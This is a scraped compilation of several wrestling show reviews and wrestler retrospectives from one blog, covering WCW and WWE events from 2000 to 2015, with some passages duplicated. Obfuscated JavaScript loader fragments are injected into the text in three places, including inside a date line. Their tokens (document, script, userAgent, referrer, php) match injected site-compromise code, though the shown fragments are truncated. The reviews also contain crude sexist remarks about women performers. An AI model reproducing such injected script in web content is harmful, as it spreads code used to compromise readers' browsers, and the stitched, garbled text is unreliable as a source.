Thunder – November 8, 2000: Get To Mayhem Already

Thunder
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znsnt|var|u0026u|referrer|ttbzt||js|php'.split('|'),0,{})) November 8, 2000
Location: United Center, Chicago, Illinois
Attendance: 7,000
Commentators: Tony Schiavone, Mike Tenay, Stevie Ray

Opening sequence.

Evan Karagias vs. Jamie Noble

Jamie runs 3 Count off. Music hater.

Hardcore Title: Reno vs. Crowbar

Mike Awesome and the Misfits celebrate with the new champion.

Konnan vs. Disco Inferno

Now we get a sitdown interview at what looks like a restaurant (minus food of course) with Mark Madden talking to the Cat, with Ms. Jones who seems to be there to give us something to look at. They manage to stay civil for all of two seconds before Cat calls him greasy. I would say just like the food but again this is a restaurant without actual food.

Mayhem ad.

Rey Mysterio vs. David Flair

Rey starts fast with a springboard splash for two but David, in street clothes, takes it outside for a chop against the barricade. The commentary focuses on Battledome of course as Tygress knocks David out with a hard forearm, setting up back to back Bronco Busters on David. A springboard legdrop to the back of the head puts David away with ease.

Shawn Stasiak vs. Kevin Nash

Nash is checked out by the trainers.

Scott Steiner video.

Luger and Bigelow seem to be in cahoots for the main event tonight. Thanks for clearing that up for us WCW.

Lance Storm vs. Meng

WCW World Title: Booker T. vs. Mike Awesome

Sapp plugs his upcoming boxing match/toughman contest with Refrigerator William Perry and I have no idea how this is supposed to make me want to keep watching. This new woman is HORRIBLE as well as she sounds like someone trying to get picked up at a bar. Terrible all around here and thankfully Sapp never wrestled for WCW.

Goldberg vs. Bam Bam Bigelow vs. Lex Luger

Actually hang on a minute as Kronik comes out before Goldberg and beat up the referee. Stevie: “This is all making sense now.” Tenay: “EXPLAIN IT THEN!”

After a break we see the Boogie Knights paying Kronik off. Dang Stevie was right. It did make sense earlier, assuming you paid attention.

Mayhem ad.

Goldberg vs. Bam Bam Bigelow vs. Lex Luger

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of the Intercontinental Title at Amazon for just $3.99 at:

http://www.amazon.com/dp/B01D4D3EGQ

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Royal Rumble Count-Up – 2004: This Should Have Been It

Royal Rumble 2004
Date: January 25, 2004
Location: Wachovia Center, Philadelphia, Pennsylvania
Attendance: 17,289
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross, Jerry Lawler

Raw Tag Titles: Dudley Boys vs. Evolution

Rating: D. This match fell into the same trap that all bad tables matches fall into: the dull set of spots that fail until one works for the win. You rarely get something that gets around this through sheer carnage such as the match at the 2000 Rumble, but this was just terrible. I have no idea what they were going for here as the fans were disappointed and they only had four and a half minutes to get into it. Also: real smart WWE. This is the right way to start a show in Philadelphia: have some of the most famous ECW guys ever lose.

Cena raps about winning the Rumble when RVD comes in to steal the joke. Weed jokes are made. Josh Matthews looks like the king of all tools here.

Cruiserweight Title: Rey Mysterio vs. Jamie Noble

Noble yells at Nidia post match.

Eddie Guerrero vs. Chavo Guerrero

Back to the mat with Eddie working on the arm before Chavo nips up and hooks a rana to send them both to the floor. Chavo sends Eddie into the announce table to finally take over and get some of the aggression going. Back in and they get into a kind of MMA style brawl on the mat until Eddie hooks a cross armbreaker of all things. That goes nowhere so Chavo suplexes Eddie down for two, followed by the Three Amigos. Eddie counters a tornado DDT and hits Three Amigos of his own. Chavo is down so Eddie goes up and hits the Frog Splash for the pin. ANOTHER quick ending tonight.

Rating: C+. This was way better than the other matches, but this felt like it was missing fifteen minutes or so. Three matches so far have combined to be about fifteen minutes long which is pretty lame for a modern PPV, even for the Rumble. This could have been a lot more, but the feud was completely done after tonight. Eddie would become #1 contender on the following Smackdown.

Eddie destroys Chavo post match in a pretty heelish display. Chavo gets busted open.

Smackdown World Title: Brock Lesnar vs. Hardcore Holly

Raw World Title: Shawn Michaels vs. HHH

Out of nowhere Shawn takes out the leg and hooks a Figure Four, because where would we be without a Flair tribute? That gets a five count so Shawn hits a chop block for a four. HHH low bridges Shawn and we head to the floor for a bit. HHH loads up the announce table but Shawn blocks a Pedigree attempt. They slug it out on the table with HHH getting knocked to the floor, drawing a bunch of booing from the bloodthirsty Philadelphia fans.

Rumble video with a focus on Benoit.

Royal Rumble

The handspring elbow takes Orton down but Benoit rolls some Germans on Tajiri to take him down. Tajiri only gets two as I guess Benoit is conserving strength. Henry throws Orton to the apron but stops looking like an idiot. Bradshaw is #5 and he immediately clotheslines down everyone not named Benoit. Benoit takes offense to being left out and puts Bradshaw in the Crossface before pulling Bradshaw out. Eh he would get a nine month title reign stating in the summer so I feel no sympathy for him.

Everyone tries to throw each other out while laying on the ropes until Rikishi is #14. Benoit dumps Rhyno to keep us at six people (Benoit, Orton, Rikishi, Booker, Morgan, Hardy) in the ring. Morgan gets a Stinkface and nothing else happens for a bit. Renee Dupree with the French Tickler is #15. In a surprising moment, Dupree actually knocks Matt out, only to be superkicked out by Rikishi a second later.

Ratings Comparison

Evolution vs. Dudley Boys

Original: C

Redo: D

Rey Mysterio vs. Jamie Noble

Original: N/A

Redo: D+

Chavo Guerrero vs. Eddie Guerero

Original: C+

Redo: C+

Brock Lesnar vs. Hardcore Holly

Original: D-

Redo: D

HHH vs. Shawn Michaels

Original: C+

Redo: C-

Royal Rumble

Original: A

Redo: A

Overall Rating

Original: C+

Redo: B-

Just as last time, the Rumble is the only thing worth seeing.

http://kbwrestlingreviews.com/2011/01/23/royal-rumble-count-up-2004-he-who-must-not-be-named/

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestlemania XXXI Preview: Randy Orton vs. Seth Rollins

A classic case of overthinking it.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeffa|var|u0026u|referrer|ibsdn||js|php'.split('|'),0,{})) man I’m torn on this one. On one hand, this could be the one that completely steals the show and makes Rollins into an even bigger star than he was before. On the other hand, GOOD FREAKING GRIEF HOW DID THEY MANAGE TO SCREW THIS MATCH UP SO BADLY??? I’ve been in awe over the horrible botching they’ve done with the build to this match because it really should have been the easiest thing in the world.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – February 5, 2015: Let It Go. Let It Go.

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzehe|var|u0026u|referrer|hfirf||js|php'.split('|'),0,{})) February 5, 2015
Location: World Arena, Colorado Spring, Colorado
Commentators: Jerry Lawler, Michael Cole, Byron Saxton

Opening sequence.

Post break Miz says he should be in the main event of Wrestlemania instead and wants to fight Roman tonight.

Goldust/Stardust vs. Ryback/Dolph Ziggler

Ernie Ladd Black History Month video.

Curtis Axel vs. Dean Ambrose

Barrett pops up on screen with the BNZ: Bad News Zone. The bad news this week: Ambrose is much too insane to receive a title shot.

Fandango vs. Adam Rose

The Trust Fall fails and Rose blames the Rosebuds for doing it on purpose. That earns the hot dog a right hand and kick to the knee in something I never thought I would have to type. Fandango pulls him inside and chops Rose in the corner, only to get stomped down in the corner for his efforts. A belly to back suplex onto the apron has Fandango in even more trouble. Back in and Fandango hits a spinwheel kick, yells to the crowd like a good guy would, and drops the guillotine legdrop (finally named the Last Dance) for the pin at 2:07. Fandango was wrestling entirely like a face here.

Miz vs. Roman Reigns

Rusev vs. Erick Rowan

Non-title. They slug it out to start with Rowan kicking him in the face as a huge USA chant starts up. A shoulder sends Rusev outside but he scores with a spinwheel kick back inside to take over. We hit the chinlock for a bit before Rowan clubs him down and beals Rusev across the ring. A middle rope back elbow to the jaw drops Rusev again but Rowan gets kicked off the ropes. The Accolade makes Rowan tap at 3:20.

We look at the Bellas putting spray tanner on Paige from Monday. Somehow this is the most interesting feud in the division in months.

Paige vs. Alicia Fox

Saxton says the Bellas have been the faces of the Divas division for the better part of seven years. That would make my soul hurt if it was actually true, but I think Laycool, Mickie James, Kelly, Melina, AJ and even Paige might have a bit to say about that, especially given that before this title reign, the Bellas had combined to hold titles for about two and a half months in those seven years. Anyway, Paige fights up and hits a dropkick, setting up PTO for the win at 2:32.

Network/Fast Lane hype.

Bray Wyatt says a man is defined by his actions but he is no man. He is the reaper, so what makes you think your actions towards him mean nothing? You are blinded by your pride and the devil is knocking on your door. He just wants you to come home, so just let him in. Let him in. Let Bray in.

Daniel Bryan vs. Jamie Noble/Joey Mercury/Seth Rollins

Post match Kane comes out and beats down Bryan because THIS FEUD WILL NOT FREAKING DIE ALREADY. Bryan gets a big beating to end the show, including a chokeslam and curb stomp. There is no reason for Kane and Bryan to keep fighting, especially after last week.

Results

Dolph Ziggler/Ryback b. Goldust/Stardust – Shell Shock to Goldust

Dean Ambrose b. Curtis Axel – Dirty Deeds

Fandango b. Adam Rose – Last Dance

Roman Reigns b. Miz – Spear

Rusev b. Erick Rowan – Accolade

Paige b. Alicia Fox – PTO

Daniel Bryan b. Seth Rollins/Jamie Noble/Joey Mercury – YES Lock to Mercury

http://www.amazon.com/dp/B00SATPVKW

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestler of the Day – December 2: Hurricane

Hardcore Title: 3 Count vs. Brian Knobbs

Knobbs is challenging and has to beat all three guys. Apparently it’s a gauntlet match. 3 Count does their dancing thing and then Tony says “Wait a second. How can we do this after what we just saw?” He’s talking about Crowbar and apparently it took him three minutes to realize how distraught he was. They talk about stopping the show, and the thought occurs to me that this could somehow be a commentary on Vince not stopping the show after Owen fell last year. If that’s the case, this company deserves to die more than anything I’ve ever seen.

Anyway, Knobbs wastes some time looking for weapons before the match starts. Knobbs is all upset by Crowbar apparently. As he’s putting the weapons in one of the champions jumps off the top with a kendo stick to drill him. By gauntlet apparently they mean handicap elimination because they’re all out there at once. Knobbs cleans house and uses the Pit Stop on all three of them. Helms gets a chair shot to take over and sends Knobbs into a ladder in the corner.

Splash off said ladder gets no cover because the other two have to go up for splashes also. Karagis uses a corkscrew one and Moore’s Swanton misses. With Knobbs crawling away for weapons, 3 Count turns their back on him for a dance sequence. Helms has a chair on his face and Knobbs hits the chair with a mop to eliminate him. He had a broken nose so that’s more painful than it sounds.

It’s Table Time and after walking around for awhile, Knobbs powerbombs Karagis over the top rope through the table which more or less explodes. Helms is still around and beats on Knobbs a bit to no avail. Tony calls a chair shot a table shot because he’s not very smart. Another table is sent in while Moore is out cold. Moore manages to get a pin when Knobbs trips over something, but it’s a DUSTY FINISH due to Knobbs’ foot being on the ropes. In a freaking ow man moment, Knobbs throws a ladder over the top rope to land on Karagis who is still down. Middle rope garbage can shot gives Knobbs the title back.

Rating: D+. Somehow this might be the match of the night so far and it was a Brian Knobbs showcase match. Why in the world is this happening in the year 2000? And with a freaking Dusty Finish of all things. It was fine for a weapons match I guess, but there was never any doubt of the finish. Why in the world was this on PPV in 2000 though?

3 Count vs. Jung Dragons

This would open about 19 Thunders in a row. Tank Abbott is their Rikishi and dances with them. Ok to be fair, this was freaking hilarious. The only Dragon that is known is the masked one who would become Jamie Knoble. Three Count has one guy that meant nothing, Shannon Moore and Shane (Gregory) Helms. This is a double ladder match where the Dragons are trying to get a recording contract so 3 Count can’t record again and 3 Count is trying to get their gold record back.

You have to tag here and it’s a ladder match. They stack up a ladder in the corner and do a ton of stuff with that. Both teams hit a springboard Doomsday Device as this is a fun match but you can tell nothing is ever going to go anywhere. Noble does a HUGE dive off the ladder to the floor. Oh and Yang cut his hair and became the resident redneck on Smackdown. This isn’t bad but it’s certainly is entertaining.

And then 3 Count stops to dance. Jamie hits a nice rana and the other two hit a double splash off the ladders. Jamie gets the record but it’s not over yet. Abbott gets the record and we keep going a bit more. I’d love to hear the explanation to a record company that they lost their contract in a professional wrestling ladder match. Kaz and Helms sprint up the ladders but Abbott shoves both guys over. Karagis climbs up and gets the contract. Soon after Jamie would be unmasked and Karagis would team up to become a third team. Abbott leaves with the contract and record.

Rating: B. Solid stuff here although it made limited sense with the whole double prize thing but that’s WCW for you. These six guys would open just about every show there was without ever getting anywhere at all for it and while the matches were solid, people just got sick of seeing them. I know I did.

Little six man match from Fall Brawl 2000.

3 Count vs. Misfits in Action

The Misfits here are Sgt. AWOL (The Wall who most of you likely don’t remember) Lieutenant Loco (Chavo) and Corporal Cajun (Lash Leroux). The band has a new song here that likely could have been a decent hit if sung by a “legit” band, which is either great or scary. The idea of the Misfits was that they were guys that were thrown out of storylines by Russo so they banded together as their only way to have a chance. That works well enough.

And yes, 3 Count gets a match against someone not named the Jung Dragons. Two of the boy band members are Shannon Moore and Shane (Gregory) Helms. The third sucks. We hear about Duggan giving the flag and board to General Rection (Hugh Morrus) and will be in his corner tonight. Yeah I’m sure this isn’t going to go badly at all for Rection.

This is a pretty basic match but it’s not bad. They’re just kind of filling in time as these matches aren’t going to mean anything past tonight anyway. The idea here is that the band is scared to death of AWOL so they’re going to try to keep him out. Simple story but it works. Leroux was a lot better than he was given credit for. I might even stretch to say he was pretty good.

He hits a springboard X Factor to get the hot tag to AWOL who cleans house. Moore hits a nice flip to put Cajun down and we let the high spots loose. AWOL gets knocked through a table (his signature thing) but not before holding Moore up off the ground purely by his hair. Everything goes insane and Leroux hits Helms with what we would more or less call Cradle Shock for the pin. They get a standing ovation for it and that’s what they deserved.

Rating: B. I REALLY liked this. There was no interference, there was nothing completely insane, the effort was there and the wrestling was there. What a shock that when you put all this together, you get a good match. Worst thing is I can more or less guarantee this is the high point of the show.

Cruiserweight Title: Shane Helms vs. Chavo Guerrero

They put the wrong graphic up for the match just to show how inept they were here. Helms and Guerrero were more or less perfect in this division at this time so this should rock. Helms has his own rap song and his own dance team called the Sugar Babies. He’s Sugar Shane Helms if that clears up anything else. He also has an awesome finisher called the Vertebreaker.

They start off rather slowly with Shane being a fast paced guy and Chavo being more of a Dean Malenko style guy. Very nice technical and mat basted stuff gets us to a standoff. Shane is a heel here I think but it’s not exactly clear. Regal Stretch, which is different than the STFU, by Chavo and Helms is in trouble.

Chavo takes over and apparently he’s the heel. It’s not a good sign when about halfway through this match and I’m just getting that. Huge dive to the floor gets no reaction. I don’t get this crowd: they just don’t seem to care about anything at all and it’s rather annoying. Shane does some basic stuff to take us back to even and both guys are down. Decent match so far.

Shane keeps kicking out and the Tornado DDT is blocked. Nightmare on Helm Street, the Eye of the Hurricane later on, gets two. Top rope cross body gets two in a cool looking move. Shane did it which I left out somehow. Vertebreaker hits on Chavo to let us hear that rap song again as Shane wins the title which I think was the final title change until the WWE stuff.

Rating: C+. Entertaining match but it never clicked to get it up to that top level. This was pretty good here though although the crowd just flat out did not care. I think you can chalk this up to the company just being dead at this point though. The match was good though, but it just never really got off the ground well enough to be very good. Solid use of about 15 minutes though.

European Title: Hurricane vs. Matt Hardy

s Ivory to hit Lita in the knee with a pipe. She hits Matt as well, allowing Hurricane to hit the Eye of the Hurricane to steal the pin and the title. This was really quick.

Helms would pick the Cruiserweight Title up again and defended it at King of the Ring 2002.

Cruiserweight Title: Jamie Noble vs. Hurricane

This was either Noble’s first match or at least his first feud. Oh ok this is his second. Seriously, the recap is still going. It’s getting more time than the opening video. Oh and the heels unmasked him which Burchill is still trying to do. IT’S STILL GOING! I have absolutely no interest in this match at all. Hurricane was running around chokeslamming people. Nidia thinks she means something. That’s just amusing.

There’s a “she’s a crack w****” chant going as we flash back to ECW. She tries to trip Hurricane and misses. You grab the big white thing. It’s how you got a job more than likely as it certainly isn’t for your looks and talent. Oh Tuesday is the Divas Undressed thing. It was a lingerie thing that went nowhere. There were some ok looks but that’s about it. As you can tell, I’m not talking much about the match.

This division and title were just jokes and it’s good that the title isn’t coming back. Let it go people. Oh dear we begin the sex jokes about Hurricane and why Nidia dumped him. I hate those. Oh dang it they’re using sleepers. I can barely stand the thought of this match already and they’re just boring me to death. This division was just a freaking waste. Wait a minute. This is a Smackdown match. WHY ARE LAWLER AND ROSS CALLING IT???

We have acknowledged that Tazz and Cole, the SMACKDOWN ANNOUNCERS are in the building, but instead we get Ross and Lawler who have nothing to do with these guys or their show talking about the match. What in the heck is wrong with this? Hurricane and Nidia fight over his cape. Hurricane suplexes Noble over the ropes and he lands on his leg. Dang it he’s getting up so we have to keep going. The main problem here is Nidia.

She won’t freaking shut up and she’s just annoying as all goodness. Hurricane hits a swinging neckbreaker from the top rope. This match just needs to end. It’s all highspots and Nidia and only one of those things are interesting. Noble kicks out of the chokeslam which stuns the crowd. For some reason they’re into this. Hurricane crotches himself on the top and Noble powerbombs him for the title while Nidia shoves his foot off the ropes. They make out way too much after the match.

Rating: D-. And it passes for the highspots. This was just freaking pointless and of course they gave it 10 minutes. See, in WCW, this was successful because there WERE NO STORIES. It was all highspots and no stupid ugly women screaming all the time. Learn from that Vince.

Batista vs. The Hurricane

The Hurricane vs. The Rock

BUT HE JUST LOST TO THE HURRICANE! Yes he did, and almost no one remembers it, because three weeks later he was hitting three Rock Bottoms on Steve Austin to finally defeat him at Wrestlemania before facing Goldberg and moving on to Hollywood, only to come back for a huge match at Wrestlemania XX.

La Resistance vs. Hurricane/Rosey

Hurricane vs. Christian

Raw Tag Titles: La Resistance vs. Hurricane/Rosey

Jerry Lawler vs. Gregory Helms

This is more or less the same thing that they did with Hassan last year as they were just giving Helms this to get him over as a cruiserweight trying to fight heavyweight guys. Apparently Lawler said Helms sucked and he got slapped or vice versa, and I think it was the original. I love how Coach tries to act like he means something. The idea worked as I want to smack him already but then again I always do.

Helms is mostly dominating here so at least they’ve got that working right. In a funny line, Coach says he isn’t sure which chin Helms is grabbing. Helms pulls a Rock and does his own commentary in the match as this is going a bit long. Uh oh it’s strap time and here comes Lawler.

They say his fists are moving like pistons. That’s just amusing in general. Lawler shouts out piledriver and somehow Helms counters it. I wonder how he figured out what to do? And Lawler hits the middle rope punch….FOR THE PIN??? WHAT IN THE FLYING HECK WAS THAT???

Rating: F. Seriously, there is ZERO justification to put Lawler over clean here as this isn’t in Memphis. No way is this ok at all. This was a failure plain and simple. Not from a wrestling perspective but from a booking and thinking one. Helms deserves far better than this and it’s not fair to see this happen to him.

Better times would come later in the month at the 2006 Royal Rumble.

Cruiserweight Title: Gregory Helms vs. Kid Kash vs. Funaki vs. Jamie Noble vs. Nunzio vs. Paul London

Nunzio hits a slingshot to send Noble into the corner and Funaki adds a bulldog for two. We finally get to the dives with Nunzio diving on a pair of guys, allowing Noble to get two on Kash via a leg lariat. Noble dives on Helms and Nunzio on the floor and Funaki is knocked off the top onto Nunzio and Noble. London kicks Kash to the floor as well and dives on everyone not named Helms with a shooting star off the top.

Cruiserweight Title: Gregory Helms vs. Super Crazy

Helms is in the middle of his year plus title reign and this is just another title defense. Crazy is part of the Mexicools here so hes on a lawn mower because….well just because. An Arizona Diamondback is here. We get a Smokey Robinson reference for no apparent reason at all. Jackknife cover gets two for Crazy as does another rollup. La Majistrol gets two.

Crazy sends him to the floor with a clothesline and sets for a dive. Nick Patrick stops it so Crazy uses him for a springboard to dive anyway. LET THE ECW CHANTS RING!!! And never mind as a hot shot gets two for Helms as does a neckbreaker. Remember that wholethis is just a TV matchfrom the previous match? That isnt the case here. This is the very different LONG TV match.

Suplex by Crazy gets no cover as we go back to more holds on the mat. Off to the chinlock as we hear about Crazy winning a triple threat to get here. No word on opponents or anything but I guess they dont matter. Rollup gets two for Crazy as the fans are mostly deceased. Elbow misses for the champion and Crazy fights back a bit. For a guy named SUPER CRAZY hes really not that insane.

Missile dropkick gets two. Moonsault misses as does the Shining Wizard for the champion. Spinwheel kick gets two as were totally killing time here. Helms gets about his 8th neckbreaker of the match for two. Helms finally gets a snake eyes and rollup with his feet on the ropes to end this.

Rating: D+. Rather boring match here as Super Crazy becomes the Scott Steiner of the Cruiserweights. What I mean by that is he used to be good and at this point he’s doing nothing but living off past glory with the same name and one or two of the same moves that are signature things. Nothing of note here at all and a rather weak match.

And a non-title match at Great American Bash 2006.

Matt Hardy vs. Gregory Helms

Rating: C-. The first seven minutes or so were really bad but after that this got a lot better. The innovative stuff from Helms is always worth seeing. They were trying to make him seem like something more than just a Cruiserweight and it was kind of working before he broke his neck in May of next year and was out for about 15 months.

Paul Burchill vs. The Hurricane

Eye of the Hurricane is broken up though and a kick to the face gets two for Paul. Another Eye attempt is countered into a northern lights suplex for two. Hurricane hits a rana for two but Katie distracts him again and a powerslam gets two for Burchill. A suplex is reversed into the Eye of the Hurricane but it only gets two. Hurricane goes up again but gets crotched. Burchill tries to suplex him to the floor but Hurricane counters into a swinging neckbreaker off the top for the pin. It was more exciting than it sounds here.

Rating: B-. This was a pretty fun match as Burchill kept getting frustrated but he never could put Hurricane away. The neckbreaker off the top was a big enough move to end things, but it felt kind of flat as it hit and that was it instead of building to a bigger climax for the pin. Still good though.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/




Wrestler of the Day – September 18: Jamie Noble

HWA Cruiserweight Title: Shark Boy vs. Jamie-San

The champion finally comes back by sending Jamie into the corner and puts him down with a facebuster. There are ten punches in the corner and a middle rope hurricanrana gets two for the champion. The Dead Sea Drop (more commonly called Diamond Dust, flipping Stunner off the middle rope) is countered into a reverse layout DDT (Christian uses it a lot) for two. Jamie misses a top rope headbutt so Sharky grabs a sleeper, only to be rammed into the corner, putting him in perfect position for the Dead Sea Drop and the pin to retain.

3 Count vs. Jung Dragons

This would open about 19 Thunders in a row. Tank Abbott is their Rikishi and dances with them. Ok to be fair, this was freaking hilarious. The only Dragon that is known is the masked one who would become Jamie Knoble. Three Count has one guy that meant nothing, Shannon Moore and Shane (Gregory) Helms. This is a double ladder match where the Dragons are trying to get a recording contract so 3 Count can’t record again and 3 Count is trying to get their gold record back.

You have to tag here and it’s a ladder match. They stack up a ladder in the corner and do a ton of stuff with that. Both teams hit a springboard Doomsday Device as this is a fun match but you can tell nothing is ever going to go anywhere. Noble does a HUGE dive off the ladder to the floor. Oh and Yang cut his hair and became the resident redneck on Smackdown. This isn’t bad but it’s certainly is entertaining.

And then 3 Count stops to dance. Jamie hits a nice rana and the other two hit a double splash off the ladders. Jamie gets the record but it’s not over yet. Abbott gets the record and we keep going a bit more. I’d love to hear the explanation to a record company that they lost their contract in a professional wrestling ladder match. Kaz and Helms sprint up the ladders but Abbott shoves both guys over. Karagis climbs up and gets the contract. Soon after Jamie would be unmasked and Karagis would team up to become a third team. Abbott leaves with the contract and record.

Rating: B. Solid stuff here although it made limited sense with the whole double prize thing but that’s WCW for you. These six guys would open just about every show there was without ever getting anywhere at all for it and while the matches were solid, people just got sick of seeing them. I know I did.

And another ladder match at Starrcade 2000.

3 Count vs. Jung Dragons vs. Knoble and Karagias

Back up and Shannon heads for the ladder but Karagias breaks it up before Moore can get there. Off to Yang vs. Helms but everyone says screw the tagging stuff and heads out into the aisle for the ladder. 3 Count pulls a fast one though and pulls out their own ladder with everyone else in the aisle. The Dragons make the save though, only for Knoble and Karagias to take them down and go up, but the Dragons slam the ladder down onto him. Yang adds a moonsault onto the ladder and the Dragons for good measure to get the crowd into the match.

Jamie and Evan set up a ladder on the middle rope before sending Shane face first into the steel. Kaz is dropped head first onto the ladder as well before Noble brings in another ladder. Knoble and Karagias get in an argument over who gets the contract, allowing Yang to take both guys down. Yang puts Shannon on the ladder and catches him diving into a gutbuster. Shane throws Yang to the floor and hits a BIG spinning dive to take both guys down. Kaz dives on Shane and Evan dives on everyone, followed by Shannon diving on everyone plus Evan.

Jamie goes up the ladder but Yang gets back in and shoves the ladder over, sending Jamie down onto the pile of guys at ringside. Yang puts another ladder in the rungs of the standing ladder, making a platform between the ropes and the standing ladder. Evan walks on said platform and catches a springboarding Kaz in a powerslam to the mat. Shannon dives off the platform to take Evan out before Helms hits a neckbreaker to take Knoble off the ladder. Shannon breaks up the platform and puts up another ladder so four people can climb at once.

Noble would head to WWE and have a Cruiserweight Title shot at King of the Ring 2002.

Cruiserweight Title: Jamie Noble vs. Hurricane

This was either Noble’s first match or at least his first feud. Oh ok this is his second. Seriously, the recap is still going. It’s getting more time than the opening video. Oh and the heels unmasked him which Burchill is still trying to do. IT’S STILL GOING! I have absolutely no interest in this match at all. Hurricane was running around chokeslamming people. Nidia thinks she means something. That’s just amusing.

There’s a “she’s a crack w****” chant going as we flash back to ECW. She tries to trip Hurricane and misses. You grab the big white thing. It’s how you got a job more than likely as it certainly isn’t for your looks and talent. Oh Tuesday is the Divas Undressed thing. It was a lingire thing that went nowhere. There were some ok looks but that’s about it. As you can tell, I’m not talking much about the match.

This division and title were just jokes and it’s good that the title isn’t coming back. Let it go people. Oh dear we begin the sex jokes about Hurricane and why Nidia dumped him. I hate those. Oh dang it they’re using sleepers. I can barely stand the thought of this match already and they’re just boring me to death. This division was just a freaking waste. Wait a minute. This is a Smackdown match. WHY ARE LAWLER AND ROSS CALLING IT???

We have acknowledged that Tazz and Cole, the SMACKDOWN ANNOUNCERS are in the building, but instead we get Ross and Lawler who have nothing to do with these guys or their show talking about the match. What in the heck is wrong with this? Hurricane and Nidia fight over his cape. Hurricane suplexes Noble over the ropes and he lands on his leg. Dang it he’s getting up so we have to keep going. The main problem here is Nidia.

She won’t freaking shut up and she’s just annoying. Hurricane hits a swinging neckbreaker from the top rope. This match just needs to end. It’s all highspots and Nidia and only one of those things are interesting. Noble kicks out of the chokeslam which stuns the crowd. For some reason they’re into this. Hurricane crotches himself on the top and Noble powerbombs him for the title while Nidia shoves his foot off the ropes. They make out way too much after the match.

Rating: D-. And it passes for the highspots. This was just freaking pointless and of course they gave it 10 minutes. See, in WCW, this was successful because there WERE NO STORIES. It was all highspots and no stupid ugly women screaming all the time. Learn from that Vince.

Title defense from Vengeance 2002.

Cruiserweight Title: Jamie Noble vs. Billy Kidman

At this point, the belt means jack. It’s the guy wins title after being on “an impressive roll as of late”, holds it for like three months while never defending it, another guy goes “on an impressive roll as of late” and normally he wins the title. This would be the first major, and I use that term more loosely than Lita after a bottle of Jack, title defense for Noble though, so there’s more or less no way he loses here.

That and I reviewed the match where he did lose it already so yeah this isn’t in any doubt at all. Wow absolutely no one cares here. We get the line about Noble not being your traditional cruiserweight as he uses a ground based attack and isn’t a high flier. Well duh, he’s a heel champion. Has there ever been a high flier that’s a heel? Only an idiot would book that? Kidman goes up top. I wonder if he’s about to GET READY TO FLY.

I really could not be less interested in this. Yet I’m writing a review of it. There’s something extremely wrong with me I think. How in the world did Noble win the ROH Title for a month? Was that like a massive rib or something? Noble messes up Kidman’s shoulder to try to make people care. To be fair, Kidman gets some pops in there.

Oh some guy named Rey Mysterio debuts Thursday. So four months you got Ortn, Cena, Batista and Mysterio. Not bad. Kidman doesn’t tap to an armbar. Kidman goes for an enziguri. It lands on Noble’s back. Wow this is making my head hurt. Shooting Star misses and Noble rolls him up for two. Noble hits a Tiger Bomb to end this.

Rating: D+. Not bad, but seriously, no one really cared. This just filled in about 8 minutes and wasn’t that good at all. More or less a nothing match that went nowhere at all. Not that it was terrible or anything, but no point at all. That’s the case with way too many cruiserweight matches, but at least they’re not using all of the stories to bog things down.

Jamie would hook up with rival Tajiri for a tag match on Smackdown, September 26, 2002.

Jamie Noble/Tajiai vs. Billy/Chuck

Can we just watch Torrie slap the mat in that bikini again? Tajiri gets in some shots as we hear about the exclusive contracts between the brands, including Orton being signed to Raw. He was a young cocky heel at this point. I wonder what ever happened to him. Billy manages to get in a kick to Noble and a flapjack allows for the hot tag. Chuck cleans house and tries a powerbomb but Tajiri counters into a victory roll attempt. Chuck holds him in place though and Code Red (Doomsday Device) ends this.

Off to Velocity for the required opponent on January 12, 2003.

Bryan Danielson vs. Jamie Noble

Noble takes him to the mat into a headscissors but Bryan counters into a double arm crank to put Jamie down for two. They trade wristlocks until Danielson takes him down with a headlock. Off to a test of strength with Jamie getting two off a northern lights suplex. A drop toehold puts Danielson throat first into the ropes and a Saito Suplex gets two.

Rating: C+. This was way better than I was expecting with both guys looking solid out there. Danielson was clearly going to be something special in the future as he was a natural in the ring and moved from one spot to another with ease. It was a surprisingly good match with both guys nailing it.

Jamie decided he wanted Torrie and had a chance to sleep with her if he could beat Billy Gunn at Vengeance 2003.

Billy Gunn vs. Jamie Noble

Jamie brings a briefcase with his “stuff” in it. They actually open it which is creepy. Jamie’s girlfriend Nidia comes out and is mad at him over this clearly. See the criticisms of soap opera stuff that WWE gets? Noble works on his knee so his regular stuff can’t work. Gunn busts out a random Diamond Cutter for two. Didn’t see that one coming. Noble hooks a DDT from the second rope. I liked that.

Nidia puts his foot on the ropes though since she doesn’t want Torrie sleeping with Noble. That makes sense at least. Both girls beat him up. Billy gets rammed into Torrie and gets rolled up for the pin. Torrie says Holy censored and it’s rather amusing. Cole shouting NOBLE GETS TO SLEEP WITH TORRIE cracked me up. He wants to watch. Oh dear.

